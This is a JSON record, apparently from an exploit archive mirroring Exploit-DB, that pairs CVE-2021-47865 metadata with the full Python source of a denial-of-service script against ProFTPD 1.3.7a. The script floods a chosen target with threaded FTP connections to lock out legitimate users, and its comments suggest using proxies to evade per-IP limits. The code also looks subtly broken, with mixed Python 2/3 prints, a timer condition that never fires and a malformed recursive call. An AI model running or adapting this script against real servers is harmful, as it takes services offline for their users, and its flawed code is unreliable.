{"exploit":{"id":"EDB-49697","name":"ProFTPD 1.3.7a - Remote Denial of Service (DoS)","description":"ProFTPD 1.3.7a - Remote Denial of Service (DoS)","cves":["CVE-2021-47865"],"author":"xynmaps","published":"2021-03-22","platform":"multiple","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49697","path":"exploits/multiple/dos/49697.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49697.py","vulnerabilities":[{"id":"CVE-2021-47865","state":"PUBLISHED","title":"ProFTPD 1.3.7a - Remote Denial of Service","titleSource":"CVE Program","description":"ProFTPD 1.3.7a contains a denial of service vulnerability that allows attackers to overwhelm the server by creating multiple simultaneous FTP connections. Attackers can repeatedly establish connections using threading to exhaust server connection limits and block legitimate user access.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47865","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47865"},"updatedAt":"2026-04-07T14:06:22.298Z","retrievedAt":"2026-11-26T01:43:42.162Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49697.png?v=2","url":"https://exploitbin.com/exploits/EDB-49697","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49697/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49697/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: ProFTPD 1.3.7a - Remote Denial of Service\n# Date: 22/03/2021\n# Exploit Author: xynmaps\n# Vendor Homepage: http://www.proftpd.org/\n# Software Link: https://github.com/proftpd/proftpd\n# Version: 1.3.7a\n# Tested on: Parrot Security OS 5.9.0\n\n#-------------------------------#\n\n#encoding=utf8\n#__author__ = XYN/Dump/NSKB3\n#ProFTPD Denial of Service exploit by XYN/Dump/NSKB3.\n\"\"\"\nProFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,\nyou can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.\n(if it's limited, just run this script from different proxies using proxychains, and it will work)\n\"\"\"\n\nimport socket\nimport sys\nimport threading\nimport subprocess\nimport time\n\nbanner = \"\"\"\n._________________.\n|      ProFTPD    |\n|       D o S     |\n|_________________|\n|By XYN/DUMP/NSKB3|\n|_|_____________|_|\n|_|_|_|_____|_|_|_|\n|_|_|_|_|_|_|_|_|_|\n\n\"\"\"\nusage = \"{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>\".format(sys.argv[0])\n\ndef test(t,p):\n\ts = socket.socket()\n\ts.settimeout(10)\n\ttry:\n\t\ts.connect((t, p))\n\t\tresponse = s.recv(65535)\n\t\ts.close()\n\t\treturn 0\n\texcept socket.error:\n\t\tprint(\"Port {} is not open, please specify a port that is open.\".format(p))\n\t\tsys.exit()\ndef attack(targ, po, id):\n\ttry:\n\t\tsubprocess.Popen(\"ftp {0} {1}\".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\t\t#print(\"Worker {} running\".format(id))\n\texcept OSError: pass\ndef main():\n\tglobal target, port, start\n\tprint banner\n\ttry:\n\t\ttarget = sys.argv[1]\n\texcept:\n\t\tprint usage\n\t\tsys.exit()\n\ttry:\n\t\tport = int(sys.argv[2])\n\texcept:\n\t\tport = 21\n\ttry:\n\t\tconns = int(sys.argv[3])\n\texcept:\n\t\tconns = 50\n\tprint(\"[!] Testing if {0}:{1} is open\".format(target, port))\n\ttest(target, port)\n\tprint(\"[+] Port {} open, starting attack...\".format(port))\n\ttime.sleep(2)\n\tprint(\"[+] Attack started on {0}:{1}!\".format(target, port))\n\tdef loop(target, port, conns):\n\t\tglobal start\n\t\tthreading.Thread(target=timer).start()\n\t\twhile 1:\n\t\t\tfor i in range(1, conns + 3):\n\t\t\t\tt = threading.Thread(target=attack, args=(target,port,i,))\n\t\t\t\tt.start()\n\t\t\t\tif i > conns + 2:\n\t\t\t\t\tt.join()\n\t\t\t\t\tbreak\n\t\t\t\t\tloop()\n\n\tt = threading.Thread(target=loop, args=(target, port, conns,))\n\tt.start()\n\ndef timer():\n        start = time.time()\n        while 1:\n                if start < time.time() + float(900): pass\n                else:\n                        subprocess.Popen(\"pkill ftp\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n                        t = threading.Thread(target=loop, args=(target, port,))\n\t\t\tt.start()\n                        break\n\nmain()","sha256":"9ffcfe91e7fbcee222f9291bc15194ce0cbb0af77f08962e7c9e2a007c5fb43a","bytes":2705,"fetchedAt":"2026-11-26T15:11:50.105Z","encoding":"utf-8 (display only; download retains original bytes)"}